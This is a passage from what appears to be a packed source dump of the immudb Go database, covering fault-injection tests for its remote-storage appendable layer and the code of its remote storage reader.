testutil.ToFloat64(metricsUploadStarted)-mStarted)\n\trequire.EqualValues(t, 4, testutil.ToFloat64(metricsUploadFinished)-mFinished)\n\trequire.EqualValues(t, 4, testutil.ToFloat64(metricsUploadSucceeded)-mSucceeded)\n\trequire.EqualValues(t, 0, testutil.ToFloat64(metricsUploadFailed)-mFailed)\n}\n\ntype remoteStorageMockingWrapper struct {\n\twrapped remotestorage.Storage\n\n\tfnGet         func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error)\n\tfnPut         func(ctx context.Context, name string, fileName string, next func() error) error\n\tfnExists      func(ctx context.Context, name string, next func() (bool, error)) (bool, error)\n\tfnListEntries func(ctx context.Context, path string, next func() (entries []remotestorage.EntryInfo, subPaths []string, err error)) (entries []remotestorage.EntryInfo, subPaths []string, err error)\n}\n\nfunc (r *remoteStorageMockingWrapper) Kind() string {\n\treturn r.wrapped.Kind()\n}\n\nfunc (r *remoteStorageMockingWrapper) String() string {\n\treturn r.wrapped.String()\n}\n\nfunc (r *remoteStorageMockingWrapper) Get(ctx context.Context, name string, offs, size int64) (io.ReadCloser, error) {\n\tif r.fnGet != nil {\n\t\treturn r.fnGet(ctx, name, offs, size, func() (io.ReadCloser, error) {\n\t\t\treturn r.wrapped.Get(ctx, name, offs, size)\n\t\t})\n\t}\n\treturn r.wrapped.Get(ctx, name, offs, size)\n}\n\nfunc (r *remoteStorageMockingWrapper) Put(ctx context.Context, name string, fileName string) error {\n\tif r.fnPut != nil {\n\t\treturn r.fnPut(ctx, name, fileName, func() error {\n\t\t\treturn r.wrapped.Put(ctx, name, fileName)\n\t\t})\n\t}\n\treturn r.wrapped.Put(ctx, name, fileName)\n}\n\nfunc (r *remoteStorageMockingWrapper) Remove(ctx context.Context, name string) error {\n\tpanic(\"unimplemented\")\n}\n\nfunc (r *remoteStorageMockingWrapper) RemoveAll(ctx context.Context, path string) error {\n\tpanic(\"unimplemented\")\n}\n\nfunc (r *remoteStorageMockingWrapper) Exists(ctx context.Context, name string) (bool, error) {\n\tif r.fnExists != nil {\n\t\treturn r.fnExists(ctx, name, func() (bool, error) {\n\t\t\treturn r.wrapped.Exists(ctx, name)\n\t\t})\n\t}\n\treturn r.wrapped.Exists(ctx, name)\n}\n\nfunc (r *remoteStorageMockingWrapper) ListEntries(ctx context.Context, path string) (entries []remotestorage.EntryInfo, subPaths []string, err error) {\n\tif r.fnListEntries != nil {\n\t\treturn r.fnListEntries(ctx, path, func() (entries []remotestorage.EntryInfo, subPaths []string, err error) {\n\t\t\treturn r.wrapped.ListEntries(ctx, path)\n\t\t})\n\t}\n\treturn r.wrapped.ListEntries(ctx, path)\n}\n\nfunc TestRemoteStorageUploadRetry(t *testing.T) {\n\tmRetries := testutil.ToFloat64(metricsUploadRetried)\n\n\tpath := t.TempDir()\n\n\t// Injecting exactly one error in put, get and exists operations\n\tvar putErrInjected int32\n\tvar getErrInjected int32\n\tvar existsErrInjected int32\n\tmem := &remoteStorageMockingWrapper{\n\t\twrapped: memory.Open(),\n\t\tfnPut: func(ctx context.Context, name, fileName string, next func() error) error {\n\t\t\tif name == \"00000000.tst\" && atomic.CompareAndSwapInt32(&putErrInjected, 0, 1) {\n\t\t\t\treturn errors.New(\"Injected error\")\n\t\t\t}\n\t\t\treturn next()\n\t\t},\n\t\tfnGet: func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) {\n\t\t\tif name == \"00000001.tst\" && atomic.CompareAndSwapInt32(&getErrInjected, 0, 1) {\n\t\t\t\treturn nil, errors.New(\"Injected error\")\n\t\t\t}\n\t\t\treturn next()\n\t\t},\n\t\tfnExists: func(ctx context.Context, name string, next func() (bool, error)) (bool, error) {\n\t\t\tif name == \"00000002.tst\" && atomic.CompareAndSwapInt32(&existsErrInjected, 0, 1) {\n\t\t\t\treturn false, errors.New(\"Injected error\")\n\t\t\t}\n\t\t\treturn next()\n\t\t},\n\t}\n\n\topts := DefaultOptions().WithRetryMinDelay(time.Microsecond).WithRetryMaxDelay(time.Microsecond)\n\topts.WithFileExt(\"tst\").WithFileSize(10)\n\tapp, err := Open(path, \"\", mem, opts)\n\trequire.NoError(t, err)\n\n\tdataWritten := []byte(\"Some pretty long string to cross a chunk boundary\")\n\n\t_, _, err = app.Append(dataWritten)\n\trequire.NoError(t, err)\n\n\terr = app.Close()\n\trequire.NoError(t, err)\n\n\trequire.EqualValues(t, 3, testutil.ToFloat64(metricsUploadRetried)-mRetries)\n}\n\nfunc TestRemoteStorageUploadCancel(t *testing.T) {\n\tpath := t.TempDir()\n\n\tfor _, name := range []string{\"Put\", \"Get\", \"Exists\"} {\n\t\tt.Run(name, func(t *testing.T) {\n\n\t\t\trequire.NoError(t, os.RemoveAll(path))\n\n\t\t\tvar getErrInjected int32\n\t\t\tretryWait := sync.WaitGroup{}\n\t\t\tretryWait.Add(1)\n\n\t\t\t// Injecting exactly one error in put, get and exists operations\n\t\t\tmem := &remoteStorageMockingWrapper{\n\t\t\t\twrapped: memory.Open(),\n\t\t\t}\n\n\t\t\tswitch name {\n\t\t\tcase \"Put\":\n\t\t\t\tmem.fnPut = func(ctx context.Context, name, fileName string, next func() error) error {\n\t\t\t\t\tif name == \"00000000.tst\" {\n\t\t\t\t\t\tif atomic.CompareAndSwapInt32(&getErrInjected, 0, 1) {\n\t\t\t\t\t\t\tretryWait.Done()\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn errors.New(\"Neverending error\")\n\t\t\t\t\t}\n\t\t\t\t\treturn next()\n\t\t\t\t}\n\t\t\tcase \"Get\":\n\t\t\t\tmem.fnGet = func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) {\n\t\t\t\t\tif name == \"00000000.tst\" {\n\t\t\t\t\t\tif atomic.CompareAndSwapInt32(&getErrInjected, 0, 1) {\n\t\t\t\t\t\t\tretryWait.Done()\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn nil, errors.New(\"Neverending error\")\n\t\t\t\t\t}\n\t\t\t\t\treturn next()\n\t\t\t\t}\n\t\t\tcase \"Exists\":\n\t\t\t\tmem.fnExists = func(ctx context.Context, name string, next func() (bool, error)) (bool, error) {\n\t\t\t\t\tif name == \"00000000.tst\" && atomic.CompareAndSwapInt32(&getErrInjected, 0, 1) {\n\t\t\t\t\t\tretryWait.Done()\n\t\t\t\t\t\treturn false, errors.New(\"Neverending error\")\n\t\t\t\t\t}\n\t\t\t\t\treturn next()\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\topts := DefaultOptions()\n\t\t\topts.WithFileExt(\"tst\").WithFileSize(10)\n\t\t\tapp, err := Open(path, \"\", mem, opts)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tdataWritten := []byte(\"Some pretty long string to cross a chunk boundary\")\n\n\t\t\t_, _, err = app.Append(dataWritten)\n\t\t\trequire.NoError(t, err)\n\t\t\tretryWait.Wait()\n\n\t\t\tapp.mainCancelFunc()\n\n\t\t\trequire.True(t, waitForChunkState(app, 0, chunkState_Local))\n\t\t})\n\t}\n}\n\nfunc TestRemoteStorageUploadCancelWhenThrottled(t *testing.T) {\n\tpath := t.TempDir()\n\n\t// Injecting exactly one error in put, get and exists operations\n\tmem := &remoteStorageMockingWrapper{\n\t\twrapped: memory.Open(),\n\t\tfnPut: func(ctx context.Context, name, fileName string, next func() error) error {\n\t\t\t// Upload wil be retried indefinitely occupying the slot\n\t\t\treturn errors.New(\"Neverending error\")\n\t\t},\n\t}\n\n\topts := DefaultOptions()\n\topts.WithParallelUploads(1)\n\topts.WithFileExt(\"tst\").WithFileSize(10)\n\tapp, err := Open(path, \"\", mem, opts)\n\trequire.NoError(t, err)\n\n\t// Write past 0th chunk, upload that starts should occupy the slot\n\t_, _, err = app.Append(make([]byte, 11))\n\trequire.NoError(t, err)\n\trequire.True(t, waitForChunkState(app, 0, chunkState_Uploading))\n\n\t// Write some more data to spawn more upload goroutines - those should stop on the throttler\n\t_, _, err = app.Append(make([]byte, 40))\n\trequire.NoError(t, err)\n\trequire.True(t, waitForChunkState(app, 1, chunkState_Uploading))\n\n\t// After cancellation, chunks should get back to the local state\n\tapp.mainCancelFunc()\n\trequire.True(t, waitForChunkState(app, 0, chunkState_Local))\n\trequire.True(t, waitForChunkState(app, 1, chunkState_Local))\n}\n\nfunc _TestRemoteStorageUploadUnrecoverableError(t *testing.T) {\n\tpath := t.TempDir()\n\n\tmUploadFailed := testutil.ToFloat64(metricsUploadFailed)\n\n\texistReached := sync.WaitGroup{}\n\texistReached.Add(1)\n\texistContinue := sync.WaitGroup{}\n\texistContinue.Add(1)\n\n\t// Injecting exactly one error in put, get and exists operations\n\tmem := &remoteStorageMockingWrapper{\n\t\twrapped: memory.Open(),\n\t\tfnExists: func(ctx context.Context, name string, next func() (bool, error)) (bool, error) {\n\t\t\tif name == \"00000000.tst\" {\n\t\t\t\texistReached.Done()\n\t\t\t\texistContinue.Wait()\n\t\t\t}\n\t\t\treturn next()\n\t\t},\n\t}\n\n\topts := DefaultOptions()\n\topts.WithFileExt(\"tst\").WithFileSize(10)\n\tapp, err := Open(path, \"\", mem, opts)\n\trequire.NoError(t, err)\n\n\tdataWritten := []byte(\"Some pretty long string to cross a chunk boundary\")\n\n\t_, _, err = app.Append(dataWritten)\n\trequire.NoError(t, err)\n\n\t// Wait for all chunks but the first one to finish uploading\n\tfor i := 1; i < 4; i++ {\n\t\trequire.True(t, waitForChunkState(app, i, chunkState_Remote))\n\t}\n\n\t// Remove the folder during `exists` check - that way\n\t// there will be an error while trying to removing the file\n\texistReached.Wait()\n\terr = os.RemoveAll(path)\n\trequire.NoError(t, err)\n\texistContinue.Done()\n\n\trequire.True(t, waitForChunkState(app, 0, chunkState_UploadError))\n\trequire.EqualValues(t, 1, testutil.ToFloat64(metricsUploadFailed)-mUploadFailed)\n}\n\ntype errReader struct {\n\terr error\n}\n\nfunc (e errReader) Read([]byte) (int, error) { return 0, e.err }\n\nfunc _TestRemoteStorageDownloadRetry(t *testing.T) {\n\tpath := t.TempDir()\n\n\tfor _, errKind := range []string{\"Open\", \"Read\"} {\n\t\tt.Run(errKind, func(t *testing.T) {\n\n\t\t\tmRetries := testutil.ToFloat64(metricsDownloadRetried)\n\n\t\t\trequire.NoError(t, os.RemoveAll(path))\n\n\t\t\tmem := memory.Open()\n\n\t\t\topts := DefaultOptions().WithRetryMinDelay(time.Microsecond).WithRetryMaxDelay(time.Microsecond)\n\t\t\topts.WithFileExt(\"tst\").WithFileSize(10)\n\t\t\tapp, err := Open(path, \"\", mem, opts)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tdataWritten := []byte(\"Some pretty long string to cross a chunk boundary\")\n\n\t\t\t_, _, err = app.Append(dataWritten)\n\t\t\trequire.NoError(t, err)\n\n\t\t\terr = app.Close()\n\t\t\trequire.NoError(t, err)\n\n\t\t\trequire.NoError(t, os.RemoveAll(path))\n\n\t\t\tvar errInjected int32\n\t\t\tmemErr := &remoteStorageMockingWrapper{wrapped: mem}\n\n\t\t\tswitch errKind {\n\t\t\tcase \"Open\":\n\t\t\t\tmemErr.fnGet = func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) {\n\t\t\t\t\tif name == \"00000004.tst\" && atomic.CompareAndSwapInt32(&errInjected, 0, 1) {\n\t\t\t\t\t\treturn nil, errors.New(\"Injected error\")\n\t\t\t\t\t}\n\t\t\t\t\treturn next()\n\t\t\t\t}\n\t\t\tcase \"Read\":\n\t\t\t\tmemErr.fnGet = func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) {\n\t\t\t\t\tif name == \"00000004.tst\" && atomic.CompareAndSwapInt32(&errInjected, 0, 1) {\n\t\t\t\t\t\treturn ioutil.NopCloser(errReader{errors.New(\"Injected error\")}), nil\n\t\t\t\t\t}\n\t\t\t\t\treturn next()\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tapp, err = Open(path, \"\", memErr, opts)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tdataRead := make([]byte, len(dataWritten))\n\t\t\tn, err := app.ReadAt(dataRead, 0)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.EqualValues(t, len(dataWritten), n)\n\n\t\t\terr = app.Close()\n\t\t\trequire.NoError(t, err)\n\n\t\t\trequire.EqualValues(t, 1, testutil.ToFloat64(metricsDownloadRetried)-mRetries)\n\t\t})\n\t}\n}\n\nfunc TestRemoteStorageDownloadCancel(t *testing.T) {\n\tpath := t.TempDir()\n\n\tfor _, errKind := range []string{\"Open\", \"Read\"} {\n\t\tt.Run(errKind, func(t *testing.T) {\n\n\t\t\trequire.NoError(t, os.RemoveAll(path))\n\n\t\t\tmem := memory.Open()\n\n\t\t\topts := DefaultOptions().WithRetryMinDelay(time.Microsecond).WithRetryMaxDelay(time.Microsecond)\n\t\t\topts.WithFileExt(\"tst\").WithFileSize(10)\n\t\t\tapp, err := Open(path, \"\", mem, opts)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tdataWritten := []byte(\"Some pretty long string to cross a chunk boundary\")\n\n\t\t\t_, _, err = app.Append(dataWritten)\n\t\t\trequire.NoError(t, err)\n\n\t\t\terr = app.Close()\n\t\t\trequire.NoError(t, err)\n\n\t\t\trequire.NoError(t, os.RemoveAll(path))\n\n\t\t\tvar errInjected int32\n\t\t\tretryWait := sync.WaitGroup{}\n\t\t\tretryWait.Add(1)\n\n\t\t\tmemErr := &remoteStorageMockingWrapper{wrapped: mem}\n\t\t\tswitch errKind {\n\t\t\tcase \"Open\":\n\t\t\t\tmemErr.fnGet = func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) {\n\t\t\t\t\tif name == \"00000003.tst\" {\n\t\t\t\t\t\tif atomic.CompareAndSwapInt32(&errInjected, 0, 1) {\n\t\t\t\t\t\t\tretryWait.Done()\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn nil, errors.New(\"Injected error\")\n\t\t\t\t\t}\n\t\t\t\t\treturn next()\n\t\t\t\t}\n\t\t\tcase \"Read\":\n\t\t\t\tmemErr.fnGet = func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) {\n\t\t\t\t\tif name == \"00000003.tst\" {\n\t\t\t\t\t\tif atomic.CompareAndSwapInt32(&errInjected, 0, 1) {\n\t\t\t\t\t\t\tretryWait.Done()\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn ioutil.NopCloser(errReader{errors.New(\"Injected error\")}), nil\n\t\t\t\t\t}\n\t\t\t\t\treturn next()\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tapp, err = Open(path, \"\", memErr, opts)\n\t\t\trequire.NoError(t, err)\n\n\t\t\t// Switch active chunk to 00000003\n\t\t\tsetOffsetWg := sync.WaitGroup{}\n\t\t\tsetOffsetWg.Add(1)\n\t\t\tvar setOffsetErr error\n\t\t\tgo func() {\n\t\t\t\t// SetOffset will block until we cancel\n\t\t\t\tsetOffsetErr = app.SetOffset(35)\n\t\t\t\tsetOffsetWg.Done()\n\t\t\t}()\n\t\t\tretryWait.Wait()\n\n\t\t\t// Cancel and check if everything propagated correctly\n\t\t\tapp.mainCancelFunc()\n\t\t\tsetOffsetWg.Wait()\n\n\t\t\trequire.Error(t, setOffsetErr)\n\t\t})\n\t}\n}\n\nfunc TestRemoteStorageDownloadUnrecoverableError(t *testing.T) {\n\tpath := t.TempDir()\n\n\tmDownloadFailed := testutil.ToFloat64(metricsDownloadFailed)\n\n\tmem := memory.Open()\n\n\topts := DefaultOptions().WithRetryMinDelay(time.Microsecond).WithRetryMaxDelay(time.Microsecond)\n\topts.WithFileExt(\"tst\").WithFileSize(10)\n\tapp, err := Open(path, \"\", mem, opts)\n\trequire.NoError(t, err)\n\n\tdataWritten := []byte(\"Some pretty long string to cross a chunk boundary\")\n\n\t_, _, err = app.Append(dataWritten)\n\trequire.NoError(t, err)\n\n\terr = app.Close()\n\trequire.NoError(t, err)\n\trequire.NoError(t, os.RemoveAll(path))\n\n\tmemErr := &remoteStorageMockingWrapper{\n\t\twrapped: mem,\n\t\tfnGet: func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) {\n\t\t\tif name == \"00000003.tst\" {\n\t\t\t\t// Remove local folder to cause errors when creating a temporary file\n\t\t\t\tos.RemoveAll(path)\n\t\t\t}\n\t\t\treturn next()\n\t\t},\n\t}\n\n\tapp, err = Open(path, \"\", memErr, opts)\n\trequire.NoError(t, err)\n\n\t// Switch active chunk to 00000003\n\terr = app.SetOffset(35)\n\trequire.Error(t, err)\n\n\trequire.EqualValues(t, 1, testutil.ToFloat64(metricsDownloadFailed)-mDownloadFailed)\n}\n\nfunc TestRemoteStorageOpenChunkWhenUploading(t *testing.T) {\n\tpath := prepareLocalTestFiles(t)\n\n\tmem := &remoteStorageMockingWrapper{\n\t\twrapped: memory.Open(),\n\t\tfnPut: func(ctx context.Context, name, fileName string, next func() error) error {\n\t\t\tif name == \"00000003.tst\" {\n\t\t\t\treturn errors.New(\"Neverending upload\")\n\t\t\t}\n\t\t\treturn next()\n\t\t},\n\t}\n\n\topts := DefaultOptions()\n\topts.WithFileExt(\"tst\").WithFileSize(10)\n\tapp, err := Open(path, \"\", mem, opts)\n\trequire.NoError(t, err)\n\n\trequire.True(t, waitForChunkState(app, 0, chunkState_Remote))\n\trequire.True(t, waitForChunkState(app, 1, chunkState_Remote))\n\trequire.True(t, waitForChunkState(app, 2, chunkState_Remote))\n\trequire.True(t, waitForChunkState(app, 3, chunkState_Uploading))\n\trequire.True(t, waitForChunkState(app, 4, chunkState_Active))\n\n\t// Read chunk while it's being uploaded\n\treadBytes := make([]byte, 8)\n\tn, err := app.ReadAt(readBytes, 31)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 8, n)\n\trequire.Equal(t, []byte(\"s a chun\"), readBytes)\n\n\t// Switch chunk to active while it's being uploaded\n\terr = app.SetOffset(35)\n\trequire.NoError(t, err)\n\n\trequire.True(t, waitForChunkState(app, 3, chunkState_Active))\n\trequire.True(t, waitForChunkState(app, 4, chunkState_Local))\n\n}\n\nfunc TestRemoteStorageOpenInitialAppendableMissingRemoteChunk(t *testing.T) {\n\tpath := t.TempDir()\n\n\t// Prepare test dataset\n\topts := DefaultOptions()\n\topts.WithFileSize(10)\n\topts.WithFileExt(\"tst\")\n\tm := &remoteStorageMockingWrapper{wrapped: memory.Open()}\n\tapp, err := Open(path, \"\", m, opts)\n\trequire.NoError(t, err)\n\t_, _, err = app.Append([]byte(\"Even larger buffer spanning across multiple files\"))\n\trequire.NoError(t, err)\n\trequire.True(t, waitForRemoval(fmt.Sprintf(\"%s/00000000.tst\", path)))\n\terr = app.Close()\n\trequire.NoError(t, err)\n\n\t// Simulate missing file on a remote storage\n\tm.fnExists = func(ctx context.Context, name string, next func() (bool, error)) (bool, error) {\n\t\tif name == \"00000000.tst\" {\n\t\t\treturn false, nil\n\t\t}\n\t\treturn next()\n\t}\n\tm.fnGet = func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error) {\n\t\tif name == \"00000000.tst\" {\n\t\t\treturn nil, remotestorage.ErrNotFound\n\t\t}\n\t\treturn next()\n\t}\n\tm.fnListEntries = func(ctx context.Context, path string, next func() (entries []remotestorage.EntryInfo, subPaths []string, err error)) (entries []remotestorage.EntryInfo, subPaths []string, err error) {\n\t\te, s, err := next()\n\t\trequire.True(t, e[0].Name == \"00000000.tst\")\n\t\treturn e[1:], s, err\n\t}\n\n\t// Opening should fail now\n\tapp, err = Open(path, \"\", m, opts)\n\trequire.ErrorIs(t, err, ErrMissingRemoteChunk)\n\trequire.Nil(t, app)\n}\n\nfunc TestRemoteStorageOpenInitialAppendableCorruptedLocalFile(t *testing.T) {\n\tpath := t.TempDir()\n\n\t// Prepare test dataset\n\topts := DefaultOptions()\n\topts.WithFileSize(10)\n\topts.WithFileExt(\"tst\")\n\tm := &remoteStorageMockingWrapper{wrapped: memory.Open()}\n\tapp, err := Open(path, \"\", m, opts)\n\trequire.NoError(t, err)\n\t_, _, err = app.Append([]byte(\"Even larger buffer spanning across multiple files\"))\n\trequire.NoError(t, err)\n\trequire.True(t, waitForRemoval(fmt.Sprintf(\"%s/00000000.tst\", path)))\n\terr = app.Close()\n\trequire.NoError(t, err)\n\n\t// Local file smaller than a corresponding remote object indicates data corruption\n\terr = ioutil.WriteFile(fmt.Sprintf(\"%s/00000000.tst\", path), []byte{}, 0777)\n\trequire.NoError(t, err)\n\n\t// Opening should fail now\n\tapp, err = Open(path, \"\", m, opts)\n\trequire.ErrorIs(t, err, ErrInvalidRemoteStorage)\n\trequire.Nil(t, app)\n}\n"
  },
  {
    "path": "embedded/appendable/remoteapp/remote_storage_reader.go",
    "content": "package remoteapp\n\nimport (\n\t\"context\"\n\t\"encoding/binary\"\n\t\"io\"\n\t\"io/ioutil\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/remotestorage\"\n\t\"github.com/prometheus/client_golang/prometheus\"\n)\n\ntype remoteStorageReader struct {\n\tr          remotestorage.Storage\n\tname       string\n\tbaseOffset int64\n\tdataCache  []byte // Initially we read the whole object into data cache\n}\n\nfunc openRemoteStorageReader(r remotestorage.Storage, name string) (*remoteStorageReader, error) {\n\tdefer prometheus.NewTimer(metricsOpenTime).ObserveDuration()\n\n\tctx := context.Background()\n\n\t// Read header\n\treader, err := r.Get(ctx, name, 0, -1)\n\tif err != nil {\n\t\tmetricsUncachedReadErrors.Inc()\n\t\treturn nil, err\n\t}\n\tdata, err := ioutil.ReadAll(reader)\n\treader.Close()\n\tif err != nil {\n\t\tmetricsUncachedReadErrors.Inc()\n\t\treturn nil, err\n\t}\n\tmetricsUncachedReads.Inc()\n\tmetricsUncachedReadBytes.Add(float64(len(data)))\n\tif len(data) < 4 {\n\t\tmetricsCorruptedMetadata.Inc()\n\t\treturn nil, ErrCorruptedMetadata\n\t}\n\n\t// TODO: Read the metadata and validate it\n\n\tbaseOffset := int64(4 + binary.BigEndian.Uint32(data[:4]))\n\tif baseOffset > int64(len(data)) {\n\t\tmetricsCorruptedMetadata.Inc()\n\t\treturn nil, ErrCorruptedMetadata\n\t}\n\n\treturn &remoteStorageReader{\n\t\tr:          r,\n\t\tname:       name,\n\t\tbaseOffset: baseOffset,\n\t\tdataCache:  data[baseOffset:],\n\t}, nil\n}\n\nfunc (r *remoteStorageReader) Metadata() []byte {\n\tpanic(\"unimplemented\")\n}\n\nfunc (r *remoteStorageReader) Size() (int64, error) {\n\tpanic(\"unimplemented\")\n}\n\nfunc (r *remoteStorageReader) Offset() int64 {\n\tpanic(\"unimplemented\")\n}\n\nfunc (r *remoteStorageReader) SetOffset(off int64) error {\n\tpanic(\"unimplemented\")\n}\n\nfunc (r *remoteStorageReader) DiscardUpto(off int64) error {\n\tpanic(\"unimplemented\")\n}\n\nfunc (r *remoteStorageReader) Append(bs []byte) (off int64, n int, err error) {\n\tpanic(\"unimplemented\")\n}\n\nfunc (r *remoteStorageReader) CompressionFormat() int {\n\tpanic(\"unimplemented\")\n}\n\nfunc (r *remoteStorageReader) CompressionLevel() int {\n\tpanic(\"unimplemented\")\n}\n\nfunc (r *remoteStorageReader) Flush() error {\n\treturn nil\n}\n\nfunc (r *remoteStorageReader) Sync() error {\n\treturn nil\n}\n\nfunc (r *remoteStorageReader) SwitchToReadOnlyMode() error {\n\treturn nil\n}\n\nfunc (r *remoteStorageReader) ReadAt(bs []byte, off int64) (int, error) {\n\tif off < 0 {\n\t\treturn 0, ErrIllegalArguments\n\t}\n\n\tif off > int64(len(r.dataCache)) {\n\t\treturn 0, io.EOF\n\t}\n\n\treadBytes := copy(bs, r.dataCache[off:])\n\tmetricsReads.Inc()\n\tmetricsReadBytes.Add(float64(readBytes))\n\tif readBytes < len(bs) {\n\t\treturn readBytes, io.EOF\n\t}\n\treturn readBytes, nil\n\n\t// reader, err := r.r.Get(context.Background(), r.name, off+r.baseOffset, int64(len(bs)))\n\t// if err != nil {\n\t// \treturn 0, err\n\t// }\n\t// n, err := return io.ReadAtLeast(reader, bs, 1)\n\t// if err != nil {\n\t// \treturn n, err\n\t// }\n\t// if n < len(bs) {\n\t//\treturn n, io.EOF\n\t// }\n\t// return n, nil\n}\n\nfunc (r *remoteStorageReader) Close() error {\n\treturn nil\n}\n\nfunc (r *remoteStorageReader) Copy(dstPath string) error {\n\tpanic(\"unimplemented\")\n}\n\nvar _ appendable.Appendable = (*remoteStorageReader)(nil)\n"
  },
  {
    "path": "embedded/appendable/remoteapp/remote_storage_reader_test.go",
    "content": "package remoteapp\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/remotestorage\"\n\t\"github.com/codenotary/immudb/embedded/remotestorage/memory\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc tmpFile(t *testing.T, data []byte) (fileName string, cleanup func()) {\n\tfl, err := ioutil.TempFile(\"\", \"\")\n\trequire.NoError(t, err)\n\t_, err = fl.Write(data)\n\trequire.NoError(t, err)\n\terr = fl.Close()\n\trequire.NoError(t, err)\n\treturn fl.Name(), func() {\n\t\tos.Remove(fl.Name())\n\t}\n}\n\nfunc storeData(t *testing.T, s remotestorage.Storage, name string, data []byte) {\n\tfl, c := tmpFile(t, data)\n\tdefer c()\n\n\terr := s.Put(context.Background(), name, fl)\n\trequire.NoError(t, err)\n}\n\nfunc TestRemoteStorageReaderUnsupportedMethods(t *testing.T) {\n\tr := remoteStorageReader{}\n\n\trequire.Panics(t, func() { r.Metadata() })\n\trequire.Panics(t, func() { r.Size() })\n\trequire.Panics(t, func() { r.Offset() })\n\trequire.Panics(t, func() { r.SetOffset(0) })\n\trequire.Panics(t, func() { r.Append([]byte{0}) })\n\trequire.Panics(t, func() { r.DiscardUpto(0) })\n\trequire.Panics(t, func() { r.CompressionFormat() })\n\trequire.Panics(t, func() { r.CompressionLevel() })\n\trequire.Panics(t, func() { r.Copy(\"/tmp\") })\n}\n\nfunc TestRemoteStorageFlush(t *testing.T) {\n\tr := remoteStorageReader{}\n\trequire.NoError(t, r.Flush())\n}\n\nfunc TestRemoteStorageSync(t *testing.T) {\n\tr := remoteStorageReader{}\n\trequire.NoError(t, r.Sync())\n}\n\nfunc TestRemoteStorageSwitchToReadOnlyMode(t *testing.T) {\n\tr := remoteStorageReader{}\n\trequire.NoError(t, r.SwitchToReadOnlyMode())\n}\n\nfunc TestRemoteStorageReadAt(t *testing.T) {\n\tm := memory.Open()\n\tstoreData(t, m, \"fl\", []byte{\n\t\t0, 0, 0, 4, // Dummy empty header\n\t\t0, 0, 0, 0,\n\t\t1, 2, 3, 4, // Data, 4 bytes\n\t})\n\n\tr, err := openRemoteStorageReader(m, \"fl\")\n\trequire.NoError(t, err)\n\n\tb := make([]byte, 4)\n\tn, err := r.ReadAt(b, 0)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 4, n)\n\trequire.Equal(t, []byte{1, 2, 3, 4}, b)\n\n\tn, err = r.ReadAt(make([]byte, 10), 0)\n\trequire.EqualValues(t, 4, n)\n\trequire.Equal(t, io.EOF, err)\n\n\tn, err = r.ReadAt(make([]byte, 2), 3)\n\trequire.EqualValues(t, 1, n)\n\trequire.Equal(t, io.EOF, err)\n\n\tn, err = r.ReadAt(make([]byte, 2), -1)\n\trequire.EqualValues(t, 0, n)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tn, err = r.ReadAt(make([]byte, 2), 4)\n\trequire.EqualValues(t, 0, n)\n\trequire.Equal(t, io.EOF, err)\n\n\tn, err = r.ReadAt(make([]byte, 2), 5)\n\trequire.EqualValues(t, 0, n)\n\trequire.Equal(t, io.EOF, err)\n}\n\nfunc TestRemoteStorageCorruptedHeader(t *testing.T) {\n\tfor _, d := range []struct {\n\t\tname  string\n\t\tbytes []byte\n\t}{\n\t\t{\"less than 4 bytes\", []byte{0, 0, 0}},\n\t\t{\"not enough header bytes\", []byte{0, 0, 0, 5, 0, 0, 0, 0}},\n\t} {\n\t\tt.Run(d.name, func(t *testing.T) {\n\t\t\tm := memory.Open()\n\t\t\tstoreData(t, m, \"fl\", d.bytes)\n\n\t\t\tr, err := openRemoteStorageReader(m, \"fl\")\n\t\t\trequire.ErrorIs(t, err, ErrCorruptedMetadata)\n\t\t\trequire.Nil(t, r)\n\t\t})\n\t}\n}\n\ntype remoteStorageErrorInjector struct {\n\tremotestorage.Storage\n\terr           error\n\terrDuringRead bool\n}\n\nfunc (r *remoteStorageErrorInjector) Get(ctx context.Context, name string, offs, size int64) (io.ReadCloser, error) {\n\tif r.errDuringRead {\n\t\treturn ioutil.NopCloser(errReader{r.err}), nil\n\t}\n\treturn nil, r.err\n}\n\nfunc TestRemoteStorageOpenError(t *testing.T) {\n\tfor _, duringRead := range []bool{false, true} {\n\t\tm := &remoteStorageErrorInjector{\n\t\t\tStorage:       memory.Open(),\n\t\t\terr:           errors.New(\"Injected error\"),\n\t\t\terrDuringRead: duringRead,\n\t\t}\n\t\tstoreData(t, m, \"fl\", []byte{\n\t\t\t0, 0, 0, 4, // Dummy empty header\n\t\t\t0, 0, 0, 0,\n\t\t\t1, 2, 3, 4, // Data, 4 bytes\n\t\t})\n\n\t\tr, err := openRemoteStorageReader(m, \"fl\")\n\t\trequire.Equal(t, m.err, err)\n\t\trequire.Nil(t, r)\n\t}\n}\n"
  },
  {
    "path": "embedded/appendable/singleapp/options.go",
